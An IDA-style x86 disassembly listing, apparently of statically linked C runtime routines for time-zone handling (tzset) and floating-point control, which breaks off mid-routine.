		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte ptr [ebp+arg_0]
		cmp	eax, ecx
		jz	short loc_42ED2B
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_42ED77
; ---------------------------------------------------------------------------


loc_42ED2B:				; CODE XREF: sub_42EC40+D7j
		jmp	short loc_42ED44
; ---------------------------------------------------------------------------


loc_42ED2D:				; CODE XREF: sub_42EC40+BAj
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl


loc_42ED44:				; CODE XREF: sub_42EC40:loc_42ED2Bj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	al, 0EFh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_42ED77:				; CODE XREF: sub_42EC40+6Aj
					; sub_42EC40+9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ED80	proc near		; CODE XREF: sub_4280E0+8Ap
					; sub_434B40:loc_43505Bp
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4EEC78, 0
		jnz	short loc_42EDBB
		push	0Bh
		call	sub_421A80
		add	esp, 4
		cmp	ds:dword_4EEC78, 0
		jnz	short loc_42EDB1
		call	loc_42EDE0
		mov	eax, ds:dword_4EEC78
		add	eax, 1
		mov	ds:dword_4EEC78, eax


loc_42EDB1:				; CODE XREF: sub_42ED80+1Dj
		push	0Bh
		call	sub_421B20
		add	esp, 4


loc_42EDBB:				; CODE XREF: sub_42ED80+Aj
		pop	ebp
		retn
sub_42ED80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0Bh
		call	sub_421A80
		add	esp, 4
		call	loc_42EDE0
		push	0Bh
		call	sub_421B20
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_42EDE0:				; CODE XREF: sub_42ED80+1Fp
					; seg000:0042EDCDp
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	dword ptr [ebp-4], 0
		push	0Ch
		call	sub_421A80
		add	esp, 4
		mov	ds:dword_4EEBC0, 0
		mov	ds:dword_450738, 0FFFFFFFFh
		mov	eax, ds:dword_450738
		mov	ds:dword_450728, eax
		push	offset aTz	; "TZ"
		call	sub_432F50
		add	esp, 4
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	loc_42EF63
		push	0Ch
		call	sub_421B20
		add	esp, 4
		push	offset dword_4EEBC8
		call	near ptr 3D0000h
		call	near ptr 1042E6CBh
		test	[ecx], dl
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_4EEBC0
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
; ---------------------------------------------------------------------------
		or	eax, offset dword_4EEBC8
		imul	ecx, 3Ch
		mov	ds:dword_450690, ecx
		xor	edx, edx
		mov	dx, ds:word_4EEC0E
		test	edx, edx
		jz	short loc_42EE89
		mov	eax, ds:dword_4EEC1C
		imul	eax, 3Ch
		mov	ecx, ds:dword_450690
		add	ecx, eax
		mov	ds:dword_450690, ecx


loc_42EE89:				; CODE XREF: seg000:0042EE71j
		xor	edx, edx
		mov	dx, ds:word_4EEC62
		test	edx, edx
		jz	short loc_42EEBE
		cmp	ds:dword_4EEC70, 0
		jz	short loc_42EEBE
		mov	ds:dword_450694, 1
		mov	eax, ds:dword_4EEC70
		sub	eax, ds:dword_4EEC1C
		imul	eax, 3Ch
		mov	ds:dword_450698, eax
		jmp	short loc_42EED2
; ---------------------------------------------------------------------------


loc_42EEBE:				; CODE XREF: seg000:0042EE94j
					; seg000:0042EE9Dj
		mov	ds:dword_450694, 0
		mov	ds:dword_450698, 0


loc_42EED2:				; CODE XREF: seg000:0042EEBCj
		lea	ecx, [ebp-8]
		push	ecx
		push	0
		push	3Fh
		mov	edx, ds:off_45071C
		push	edx
		push	0FFFFFFFFh
		push	offset dword_4EEBCC
		push	220h
		mov	eax, ds:dword_4EEA80
		push	eax
		call	ds:dword_4F1384	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42EF0F
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_42EF0F
		mov	ecx, ds:off_45071C
		mov	byte ptr [ecx+3Fh], 0
		jmp	short loc_42EF18
; ---------------------------------------------------------------------------


loc_42EF0F:				; CODE XREF: seg000:0042EEFBj
					; seg000:0042EF01j
		mov	edx, ds:off_45071C
		mov	byte ptr [edx],	0


loc_42EF18:				; CODE XREF: seg000:0042EF0Dj
		lea	eax, [ebp-8]
		push	eax
		push	0
		push	3Fh
		mov	ecx, ds:off_450720
		push	ecx
		push	0FFFFFFFFh
		push	offset dword_4EEC20
		push	220h
		mov	edx, ds:dword_4EEA80
		push	edx
		call	ds:dword_4F1384	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42EF55
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_42EF55
		mov	eax, ds:off_450720
		mov	byte ptr [eax+3Fh], 0
		jmp	short loc_42EF5E
; ---------------------------------------------------------------------------


loc_42EF55:				; CODE XREF: seg000:0042EF42j
					; seg000:0042EF48j
		mov	ecx, ds:off_450720
		mov	byte ptr [ecx],	0


loc_42EF5E:				; CODE XREF: seg000:0042EF53j
		jmp	loc_42F187
; ---------------------------------------------------------------------------


loc_42EF63:				; CODE XREF: seg000:0042EE29j
		mov	edx, [ebp-0Ch]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42EF8D
		cmp	ds:dword_4EEC74, 0
		jz	short loc_42EF9C
		mov	ecx, ds:dword_4EEC74
		push	ecx
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EF9C


loc_42EF8D:				; CODE XREF: seg000:0042EF6Bj
		push	0Ch
		call	sub_421B20
		add	esp, 4
		jmp	loc_42F187
; ---------------------------------------------------------------------------


loc_42EF9C:				; CODE XREF: seg000:0042EF74j
					; seg000:0042EF8Bj
		push	2
		mov	eax, ds:dword_4EEC74
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	10Ch
		push	offset aTzset_c	; "tzset.c"
		push	2
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41AE60
		add	esp, 10h
		mov	ds:dword_4EEC74, eax
		cmp	ds:dword_4EEC74, 0
		jnz	short loc_42EFED
		push	0Ch
		call	sub_421B20
		add	esp, 4
		jmp	loc_42F187
; ---------------------------------------------------------------------------


loc_42EFED:				; CODE XREF: seg000:0042EFDCj
		mov	edx, [ebp-0Ch]
		push	edx
		mov	eax, ds:dword_4EEC74
		push	eax
		call	sub_41E550
		add	esp, 8
		push	0Ch
		call	sub_421B20
		add	esp, 4
		push	3
		mov	ecx, [ebp-0Ch]
		push	ecx
		mov	edx, ds:off_45071C
		push	edx
		call	sub_41D800
		add	esp, 0Ch
		mov	eax, ds:off_45071C
		mov	byte ptr [eax+3], 0
		mov	ecx, [ebp-0Ch]
		add	ecx, 3
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp-0Ch]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_42F04D
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx
		mov	edx, [ebp-0Ch]
		add	edx, 1
		mov	[ebp-0Ch], edx


loc_42F04D:				; CODE XREF: seg000:0042F039j
		mov	eax, [ebp-0Ch]
		push	eax
		call	sub_41D460
		add	esp, 4
		imul	eax, 0E10h
		mov	ds:dword_450690, eax


loc_42F064:				; CODE XREF: seg000:0042F08Ej
		mov	ecx, [ebp-0Ch]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Bh
		jz	short loc_42F085
		mov	eax, [ebp-0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_42F090
		mov	edx, [ebp-0Ch]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_42F090


loc_42F085:				; CODE XREF: seg000:0042F06Dj
		mov	ecx, [ebp-0Ch]
		add	ecx, 1
		mov	[ebp-0Ch], ecx
		jmp	short loc_42F064
; ---------------------------------------------------------------------------


loc_42F090:				; CODE XREF: seg000:0042F078j
					; seg000:0042F083j
		mov	edx, [ebp-0Ch]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Ah
		jnz	loc_42F135
		mov	ecx, [ebp-0Ch]
		add	ecx, 1
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_41D460
		add	esp, 4
		imul	eax, 3Ch
		mov	ecx, ds:dword_450690
		add	ecx, eax
		mov	ds:dword_450690, ecx


loc_42F0C5:				; CODE XREF: seg000:0042F0E4j
		mov	edx, [ebp-0Ch]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42F0E6
		mov	ecx, [ebp-0Ch]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42F0E6
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax
		jmp	short loc_42F0C5
; ---------------------------------------------------------------------------


loc_42F0E6:				; CODE XREF: seg000:0042F0CEj
					; seg000:0042F0D9j
		mov	ecx, [ebp-0Ch]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Ah
		jnz	short loc_42F135
		mov	eax, [ebp-0Ch]
		add	eax, 1
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_41D460
		add	esp, 4
		mov	edx, ds:dword_450690
		add	edx, eax
		mov	ds:dword_450690, edx


loc_42F114:				; CODE XREF: seg000:0042F133j
		mov	eax, [ebp-0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_42F135
		mov	edx, [ebp-0Ch]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_42F135
		mov	ecx, [ebp-0Ch]
		add	ecx, 1
		mov	[ebp-0Ch], ecx
		jmp	short loc_42F114
; ---------------------------------------------------------------------------


loc_42F135:				; CODE XREF: seg000:0042F099j
					; seg000:0042F0EFj ...
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42F149
		mov	edx, ds:dword_450690
		neg	edx
		mov	ds:dword_450690, edx


loc_42F149:				; CODE XREF: seg000:0042F139j
		mov	eax, [ebp-0Ch]
		movsx	ecx, byte ptr [eax]
		mov	ds:dword_450694, ecx
		cmp	ds:dword_450694, 0
		jz	short loc_42F17E
		push	3
		mov	edx, [ebp-0Ch]
		push	edx
		mov	eax, ds:off_450720
		push	eax
		call	sub_41D800
		add	esp, 0Ch
		mov	ecx, ds:off_450720
		mov	byte ptr [ecx+3], 0
		jmp	short loc_42F187
; ---------------------------------------------------------------------------


loc_42F17E:				; CODE XREF: seg000:0042F15Cj
		mov	edx, ds:off_450720
		mov	byte ptr [edx],	0


loc_42F187:				; CODE XREF: seg000:loc_42EF5Ej
					; seg000:0042EF97j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F190	proc near		; CODE XREF: sub_4280E0+CFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Bh
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42F1C0
		add	esp, 4
		mov	[ebp+var_4], eax
		push	0Bh
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42F190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F1C0	proc near		; CODE XREF: sub_42F190+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_450694, 0
		jnz	short loc_42F1D4
		xor	eax, eax
		jmp	loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F1D4:				; CODE XREF: sub_42F1C0+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, ds:dword_450728
		jnz	short loc_42F1F4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, ds:dword_450738
		jz	loc_42F3BB


loc_42F1F4:				; CODE XREF: sub_42F1C0+20j
		cmp	ds:dword_4EEBC0, 0
		jz	loc_42F375
		xor	ecx, ecx
		mov	cx, ds:word_4EEC60
		test	ecx, ecx
		jnz	short loc_42F269
		xor	edx, edx
		mov	dx, ds:word_4EEC6E
		push	edx
		xor	eax, eax
		mov	ax, ds:word_4EEC6C
		push	eax
		xor	ecx, ecx
		mov	cx, ds:word_4EEC6A
		push	ecx
		xor	edx, edx
		mov	dx, ds:word_4EEC68
		push	edx
		push	0
		xor	eax, eax
		mov	ax, ds:word_4EEC64
		push	eax
		xor	ecx, ecx
		mov	cx, ds:word_4EEC66
		push	ecx
		xor	edx, edx
		mov	dx, ds:word_4EEC62
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	sub_42F4C0
		add	esp, 2Ch
		jmp	short loc_42F2BA
; ---------------------------------------------------------------------------


loc_42F269:				; CODE XREF: sub_42F1C0+4Cj
		xor	edx, edx
		mov	dx, ds:word_4EEC6E
		push	edx
		xor	eax, eax
		mov	ax, ds:word_4EEC6C
		push	eax
		xor	ecx, ecx
		mov	cx, ds:word_4EEC6A
		push	ecx
		xor	edx, edx
		mov	dx, ds:word_4EEC68
		push	edx
		xor	eax, eax
		mov	ax, ds:word_4EEC66
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, ds:word_4EEC62
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	sub_42F4C0
		add	esp, 2Ch


loc_42F2BA:				; CODE XREF: sub_42F1C0+A7j
		xor	ecx, ecx
		mov	cx, ds:word_4EEC0C
		test	ecx, ecx
		jnz	short loc_42F322
		xor	edx, edx
		mov	dx, ds:word_4EEC1A
		push	edx
		xor	eax, eax
		mov	ax, ds:word_4EEC18
		push	eax
		xor	ecx, ecx
		mov	cx, ds:word_4EEC16
		push	ecx
		xor	edx, edx
		mov	dx, ds:word_4EEC14
		push	edx
		push	0
		xor	eax, eax
		mov	ax, ds:word_4EEC10
		push	eax
		xor	ecx, ecx
		mov	cx, ds:word_4EEC12
		push	ecx
		xor	edx, edx
		mov	dx, ds:word_4EEC0E
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_42F4C0
		add	esp, 2Ch
		jmp	short loc_42F373
; ---------------------------------------------------------------------------


loc_42F322:				; CODE XREF: sub_42F1C0+105j
		xor	edx, edx
		mov	dx, ds:word_4EEC1A
		push	edx
		xor	eax, eax
		mov	ax, ds:word_4EEC18
		push	eax
		xor	ecx, ecx
		mov	cx, ds:word_4EEC16
		push	ecx
		xor	edx, edx
		mov	dx, ds:word_4EEC14
		push	edx
		xor	eax, eax
		mov	ax, ds:word_4EEC12
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, ds:word_4EEC0E
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	sub_42F4C0
		add	esp, 2Ch


loc_42F373:				; CODE XREF: sub_42F1C0+160j
		jmp	short loc_42F3BB
; ---------------------------------------------------------------------------


loc_42F375:				; CODE XREF: sub_42F1C0+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	sub_42F4C0
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	sub_42F4C0
		add	esp, 2Ch


loc_42F3BB:				; CODE XREF: sub_42F1C0+2Ej
					; sub_42F1C0:loc_42F373j
		mov	edx, ds:dword_45072C
		cmp	edx, ds:dword_45073C
		jge	short loc_42F414
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, ds:dword_45072C
		jl	short loc_42F3E5
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, ds:dword_45073C
		jle	short loc_42F3EC


loc_42F3E5:				; CODE XREF: sub_42F1C0+215j
		xor	eax, eax
		jmp	loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F3EC:				; CODE XREF: sub_42F1C0+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, ds:dword_45072C
		jle	short loc_42F412
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, ds:dword_45073C
		jge	short loc_42F412
		mov	eax, 1
		jmp	loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F412:				; CODE XREF: sub_42F1C0+238j
					; sub_42F1C0+246j
		jmp	short loc_42F457
; ---------------------------------------------------------------------------


loc_42F414:				; CODE XREF: sub_42F1C0+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, ds:dword_45073C
		jl	short loc_42F430
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, ds:dword_45072C
		jle	short loc_42F437


loc_42F430:				; CODE XREF: sub_42F1C0+260j
		mov	eax, 1
		jmp	short loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F437:				; CODE XREF: sub_42F1C0+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, ds:dword_45073C
		jle	short loc_42F457
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, ds:dword_45072C
		jge	short loc_42F457
		xor	eax, eax
		jmp	short loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F457:				; CODE XREF: sub_42F1C0:loc_42F412j
					; sub_42F1C0+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, ds:dword_45072C
		jnz	short loc_42F4A2
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_450730
		jl	short loc_42F49E
		mov	eax, 1
		jmp	short loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F49E:				; CODE XREF: sub_42F1C0+2D5j
		xor	eax, eax
		jmp	short loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F4A2:				; CODE XREF: sub_42F1C0+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_450740
		jge	short loc_42F4B4
		mov	eax, 1
		jmp	short loc_42F4B6
; ---------------------------------------------------------------------------


loc_42F4B4:				; CODE XREF: sub_42F1C0+2EBj
		xor	eax, eax


loc_42F4B6:				; CODE XREF: sub_42F1C0+Fj
					; sub_42F1C0+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F1C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F4C0	proc near		; CODE XREF: sub_42F1C0+9Fp
					; sub_42F1C0+F2p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 1
		jnz	loc_42F59C
		mov	eax, [ebp+arg_8]
		and	eax, 3
		test	eax, eax
		jnz	short loc_42F4E9
		mov	ecx, [ebp+arg_C]
		mov	edx, ds:dword_450740[ecx*4]
		mov	[ebp+var_C], edx
		jmp	short loc_42F4F6
; ---------------------------------------------------------------------------


loc_42F4E9:				; CODE XREF: sub_42F4C0+18j
		mov	eax, [ebp+arg_C]
		mov	ecx, ds:dword_450774[eax*4]
		mov	[ebp+var_C], ecx


loc_42F4F6:				; CODE XREF: sub_42F4C0+27j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_8]
		sub	eax, 46h
		imul	eax, 16Dh
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		sar	edx, 2
		lea	eax, [ecx+edx-0Dh]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_14]
		jge	short loc_42F549
		mov	eax, [ebp+arg_14]
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_10]
		sub	ecx, 1
		imul	ecx, 7
		add	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_42F55D
; ---------------------------------------------------------------------------


loc_42F549:				; CODE XREF: sub_42F4C0+6Ej
		mov	edx, [ebp+arg_14]
		sub	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		imul	eax, 7
		add	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax


loc_42F55D:				; CODE XREF: sub_42F4C0+87j
		cmp	[ebp+arg_10], 5
		jnz	short loc_42F59A
		mov	ecx, [ebp+arg_8]
		and	ecx, 3
		test	ecx, ecx
		jnz	short loc_42F57C
		mov	edx, [ebp+arg_C]
		mov	eax, ds:dword_450744[edx*4]
		mov	[ebp+var_10], eax
		jmp	short loc_42F589
; ---------------------------------------------------------------------------


loc_42F57C:				; CODE XREF: sub_42F4C0+ABj
		mov	ecx, [ebp+arg_C]
		mov	edx, ds:dword_450778[ecx*4]
		mov	[ebp+var_10], edx


loc_42F589:				; CODE XREF: sub_42F4C0+BAj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jle	short loc_42F59A
		mov	ecx, [ebp+var_8]
		sub	ecx, 7
		mov	[ebp+var_8], ecx


loc_42F59A:				; CODE XREF: sub_42F4C0+A1j
					; sub_42F4C0+CFj
		jmp	short loc_42F5D1
; ---------------------------------------------------------------------------


loc_42F59C:				; CODE XREF: sub_42F4C0+Aj
		mov	edx, [ebp+arg_8]
		and	edx, 3
		test	edx, edx
		jnz	short loc_42F5B5
		mov	eax, [ebp+arg_C]
		mov	ecx, ds:dword_450740[eax*4]
		mov	[ebp+var_14], ecx
		jmp	short loc_42F5C2
; ---------------------------------------------------------------------------


loc_42F5B5:				; CODE XREF: sub_42F4C0+E4j
		mov	edx, [ebp+arg_C]
		mov	eax, ds:dword_450774[edx*4]
		mov	[ebp+var_14], eax


loc_42F5C2:				; CODE XREF: sub_42F4C0+F3j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_18]
		mov	[ebp+var_8], edx


loc_42F5D1:				; CODE XREF: sub_42F4C0:loc_42F59Aj
		cmp	[ebp+arg_0], 1
		jnz	short loc_42F611
		mov	eax, [ebp+var_8]
		mov	ds:dword_45072C, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	ds:dword_450730, ecx
		mov	edx, [ebp+arg_8]
		mov	ds:dword_450728, edx
		jmp	loc_42F6B4
; ---------------------------------------------------------------------------


loc_42F611:				; CODE XREF: sub_42F4C0+115j
		mov	eax, [ebp+var_8]
		mov	ds:dword_45073C, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	ds:dword_450740, ecx
		mov	edx, ds:dword_450698
		imul	edx, 3E8h
		mov	eax, ds:dword_450740
		add	eax, edx
		mov	ds:dword_450740, eax
		cmp	ds:dword_450740, 0
		jge	short loc_42F681
		mov	ecx, ds:dword_450740
		add	ecx, 5265C00h
		mov	ds:dword_450740, ecx
		mov	edx, ds:dword_45073C
		sub	edx, 1
		mov	ds:dword_45073C, edx
		jmp	short loc_42F6AB
; ---------------------------------------------------------------------------


loc_42F681:				; CODE XREF: sub_42F4C0+19Cj
		cmp	ds:dword_450740, 5265C00h
		jl	short loc_42F6AB
		mov	eax, ds:dword_450740
		sub	eax, 5265C00h
		mov	ds:dword_450740, eax
		mov	ecx, ds:dword_45073C
		add	ecx, 1
		mov	ds:dword_45073C, ecx


loc_42F6AB:				; CODE XREF: sub_42F4C0+1BFj
					; sub_42F4C0+1CBj
		mov	edx, [ebp+arg_8]
		mov	ds:dword_450738, edx


loc_42F6B4:				; CODE XREF: sub_42F4C0+14Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F6C0	proc near		; CODE XREF: sub_429150+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42F6C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	word ptr [ebp-4]
		mov	ax, [ebp-4]
		push	eax
		call	sub_42FAC0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	word ptr [ebp-4]
		fnclex
		mov	ax, [ebp-4]
		push	eax
		call	sub_42FAC0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F710	proc near		; CODE XREF: sub_42F760+10p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_10]
		mov	ax, [ebp+var_10]
		push	eax
		call	sub_42F7E0
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_4]
		not	edx
		mov	eax, [ebp+var_8]
		and	eax, edx
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42F960
		add	esp, 4
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42F710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F760	proc near		; CODE XREF: sub_4296A0+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F710
		add	esp, 8
		pop	ebp
		retn
sub_42F760	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	sub_42D5B0
		mov	eax, [eax]
		mov	[ebp-4], eax
		fninit
		call	sub_4296A0
		cmp	dword ptr [ebp-4], 0
		jz	short loc_42F7D1
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [edx]
		and	eax, 10008h
		test	eax, eax
		jz	short loc_42F7D1
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
